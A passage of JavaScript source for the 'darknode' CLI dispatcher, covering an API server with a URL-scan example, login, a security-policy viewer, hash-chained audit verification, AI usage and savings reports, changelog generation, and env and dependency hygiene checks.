if (t) console.log(" token " + bold(t)); else console.log(" " + yellow("no API key required (set DARKNODE_API_TOKEN to require one)"));
console.log("\n " + gray("health ") + "curl http://localhost:" + apiPort + "/health");
console.log(" " + gray("scan ") + "curl -s http://localhost:" + apiPort + "/api/v1/scan/url -H 'Content-Type: application/json' -d '{\"url\":\"https://target.com\"}'");
console.log("\n " + gray("Ctrl-C to stop"));
});
srv.on("error", (e) => { console.log(red(" api server failed: " + (e && e.message || e))); process.exit(1); });
await new Promise(() => {});
} else if (sub === "stop") { console.log(gray(" send SIGTERM to the darknode api process to stop it")); }
else { console.log("darknode api start [--port 8080] start the REST API server\ndarknode api stop stop the server"); }
}
else if (cmd === "serve") { serveDir(rest[0], rest[1]); await new Promise(() => {}); }
else if (cmd === "listen") { listen(rest[0]); await new Promise(() => {}); }
else if (cmd === "tools") { h1("Tools"); TOOLS.forEach(([n, cat, inst]) => console.log(" " + bold(n.padEnd(14)) + gray(cat.padEnd(10)) + (inst.split(" ").slice(0,3).join(" ")))); console.log("\n " + gray("configure any tool with: ") + "darknode setup <name>"); }
else if (cmd === "setup") await setupTool(rest[0]);
else if (cmd === "init") nexusInit();
else if (cmd === "docs" || cmd === "doc" || (cmd === "help" && rest[0])) nexusDocs(rest[0]);
else if (cmd === "login") {
const a0 = (rest[0] || "").toLowerCase();
if (a0 === "--help" || a0 === "-h" || a0 === "help") loginHelp();
else if (a0 === "config") loginConfigWrite(rest.slice(1));
else if (a0 === "status" || a0 === "whoami") { const a = nexusAuth(); console.log(a ? " " + green("signed in as ") + (a.name || a.email || a.uid) : " " + gray("not signed in — paste your code: `darknode login` (see `darknode login --help`)")); }
else if (["google", "g", "github", "gh"].includes(a0)) { try { await nexusLogin(a0); } catch (e) { console.log(" " + red(e.message)); } }
else { try { const code = rest[0] || await ask("Paste your code from the website (Settings → Nexus CLI):"); await nexusLoginCode(code); } catch (e) { console.log(" " + red(e.message)); } }
}
else if (cmd === "logout") console.log(nexusLogout() ? " " + green("signed out.") : " " + gray("was not signed in."));
else if (cmd === "whoami") { const a = nexusAuth(); console.log(a ? " " + (a.name || a.email || a.uid) + gray(" " + String(a.provider).replace(".com", "")) : " " + gray("not signed in")); }
else if (cmd === "policy") {
if (rest[0] === "init") { const fs = require("fs"), path = require("path"); const dir = path.join(process.cwd(), ".nexus"), f = path.join(dir, "policy.json"); if (fs.existsSync(f)) console.log(" " + yellow(".nexus/policy.json already exists — not overwriting")); else { fs.mkdirSync(dir, { recursive: true }); fs.writeFileSync(f, JSON.stringify(POLICY_DEFAULTS, null, 2) + "\n"); console.log(" " + green("created ") + ".nexus/policy.json" + gray(" — a starting policy; tighten protected paths, denied commands, and limits, then ") + cyan("darknode policy") + gray(" to review")); } return; }
const p = loadPolicy(process.cwd());
if (rest[0] === "--json") { console.log(JSON.stringify(p, null, 2)); }
else { banner(); h1("Effective security policy" + (p.org ? " (ORG-ENFORCED)" : "")); const row = (k, v) => console.log(" " + k.padEnd(22) + v); row("source", p.org ? "org floor (~/.darknode/policy.json) + local .nexus/policy.json" : ".nexus/policy.json (or defaults)"); row("protected paths", (p.protectedPaths || []).length + " " + gray((p.protectedPaths || []).slice(0, 6).join(", ") + ((p.protectedPaths || []).length > 6 ? " …" : ""))); row("denied commands", (p.deniedCommands || []).length ? p.deniedCommands.join(", ") : gray("(built-in destructive guard only)")); row("max files / turn", p.maxFilesPerTurn || gray("unlimited")); row("block secret writes", p.blockSecrets ? green("on") : red("off")); row("network", p.allowNetwork ? "allowed" : red("blocked")); row("audit", p.audit ? "on (.nexus/audit.jsonl, hash-chained)" : gray("off")); const warns = policyWarnings(process.cwd()); if (warns.length) { console.log("\n " + yellow("config warnings:")); warns.forEach((wn) => console.log(" " + yellow("• " + wn))); } console.log("\n " + gray("machine-readable: ") + cyan("darknode policy --json") + "\n"); }
}
else if (cmd === "audit") {
if (rest[0] === "verify") { const v = auditVerify(process.cwd()); if (v.empty) { console.log(" " + gray("audit trail is empty — nothing to verify")); process.exit(0); } console.log(v.ok ? " " + green("OK") + " audit trail intact — " + v.count + " record(s), hash chain verified" : " " + red("TAMPERED") + " — " + v.reason + " at record #" + v.badLine + " of " + v.count); process.exit(v.ok ? 0 : 1); } // CI gate: non-zero exit on tamper
else { try { const fs = require("fs"), path = require("path"); const raw = fs.readFileSync(path.join(process.cwd(), ".nexus", "audit.jsonl"), "utf8").trim().split("\n").filter(Boolean); const show = (rest[0] === "--json") ? raw.slice(-50).join("\n") : raw.slice(-20).map((l) => { try { const e = JSON.parse(l); return " " + gray((e.ts || "").slice(0, 19).replace("T", " ")) + " " + (e.status === "blocked" ? red("blocked") : e.status === "error" ? yellow("error ") : green("ok ")) + " " + (e.tool || "") + gray(" " + (e.path || e.cmd || "") + (e.reason ? " — " + e.reason : "")); } catch (_) { return ""; } }).filter(Boolean).join("\n"); const v = auditVerify(process.cwd()); console.log(show + "\n " + (v.ok ? green("chain verified (" + v.count + ")") : red("CHAIN BROKEN — darknode audit verify"))); } catch (_) { console.log(" " + gray("no audit trail (.nexus/audit.jsonl) in this directory")); } }
}
else if (cmd === "report") {
// Headless AI cost/usage report for finance, CI, and chargeback — reads the
// .nexus/usage.jsonl ledger written by Nexus turns. `--json` for dashboards.
const path = require("path");
const si = rest.indexOf("--since"); const since = si >= 0 ? rest[si + 1] : null;
const recs = loadUsage(process.cwd(), since ? { since } : {});
const s = summarize(recs);
if (rest.includes("--json")) console.log(JSON.stringify(s, null, 2));
else if (!recs.length) console.log(" " + gray("no usage recorded in .nexus/usage.jsonl" + (since ? " since " + since : "") + " — run some Nexus turns first (darknode nexus)"));
else console.log("\n" + renderReport(s, { project: path.basename(process.cwd()) }) + "\n");
}
else if (cmd === "savings") {
// Cost-savings analysis over the .nexus/usage.jsonl ledger: run-rate, 30-day
// projection, and two quantified levers (local routing + model downshift).
const path = require("path");
const si = rest.indexOf("--since"); const since = si >= 0 ? rest[si + 1] : null;
const mi = rest.indexOf("--mechanical"); const frac = mi >= 0 ? parseFloat(rest[mi + 1]) : NaN;
const recs = loadUsage(process.cwd(), since ? { since } : {});
const a = analyzeSavings(recs, !isNaN(frac) ? { mechanicalFraction: frac } : {});
if (rest.includes("--json")) console.log(JSON.stringify(a, null, 2));
else if (!recs.length) console.log(" " + gray("no usage recorded in .nexus/usage.jsonl" + (since ? " since " + since : "") + " — run some Nexus turns first (darknode nexus)"));
else console.log("\n" + renderSavings(a, { project: path.basename(process.cwd()) }) + "\n");
}
else if (cmd === "changelog") {
// Release notes from git history, grouped by conventional-commit type.
const range = rest.filter((a) => !a.startsWith("--"))[0];
let rng = range;
if (!rng) { const t = await sh(["describe", "--tags", "--abbrev=0"]); const tag = (t.stdout || "").trim(); rng = tag ? tag + "..HEAD" : ""; }
const lg = await sh(["log", "--no-color", "--pretty=%h%x09%s"].concat(rng ? [rng] : ["-40"]));
const commits = parseCommits(lg.stdout || "");
if (rest.includes("--json")) console.log(JSON.stringify({ range: rng || "recent", commits }, null, 2));
else console.log(renderChangelog(commits, { title: "Changelog", range: rng || "recent" }));
}
else if (cmd === "env") {
// Headless env-var hygiene. --strict is a config gate: exit 1 if any env var is
// used in code but absent from a .env template (common runtime vars excluded).
const { used, files: sf } = scanEnvTree(process.cwd());
const { declared, files: ef } = readEnvFiles(process.cwd());
const a = auditEnv({ used, declared });
if (rest.includes("--json")) { console.log(JSON.stringify(Object.assign(a, { templates: ef, sourceFiles: sf }), null, 2)); }
else {
console.log(" " + bold(String(used.length) + " referenced") + " · " + declared.length + " documented" + gray(ef.length ? " (" + ef.join(", ") + ")" : " (no .env template)"));
if (a.undocumented.length) console.log(" " + red("undocumented (" + a.undocumented.length + "):") + " " + a.undocumented.join(", "));
if (a.unused.length) console.log(" " + yellow("unused (" + a.unused.length + "):") + " " + a.unused.join(", "));
if (!a.undocumented.length && !a.unused.length) console.log(" " + green("clean") + gray(" — code and .env templates agree"));
}
if (rest.includes("--strict") && a.undocumented.length) process.exit(1);
}
else if (cmd === "deps") {
// Headless dependency hygiene. --strict is a supply-chain gate: exit 1 if any
// package is imported but not declared in package.json.
const fsx = require("fs"), pathx = require("path");
let pkg = null; try { pkg = JSON.parse(fsx.readFileSync(pathx.join(process.cwd(), "package.json"), "utf8")); } catch (_) {}
if (!pkg) { console.log(" " + gray("no package.json in this directory")); process.exit(rest.includes("--strict") ? 1 : 0); }
const a = auditDeps({ pkg, specifiers: scanImports(process.cwd()) });
if (rest.includes("--json")) console.log(JSON.stringify(a, null, 2));
else {
console.log(" " + bold(String(a.declared.length) + " declared") + " · " + a.used.length + " imported");
if (a.missing.length) console.log(" " + red("missing (" + a.missing.length + "):") + " " + a.missing.join(", "));
if (a.unused.length) console.log(" " + yellow("unused (" + a.unused.length + "):") + " " + a.unused.join(", ") + gray(" (may be CLI/config-only)"));
if (!a.missing.length && !a.unused.length) console.log(" " + green("clean") + gray(" — declared and imported sets match"));
}
if (rest.includes("--strict") && a.missing.length) process.exit(1);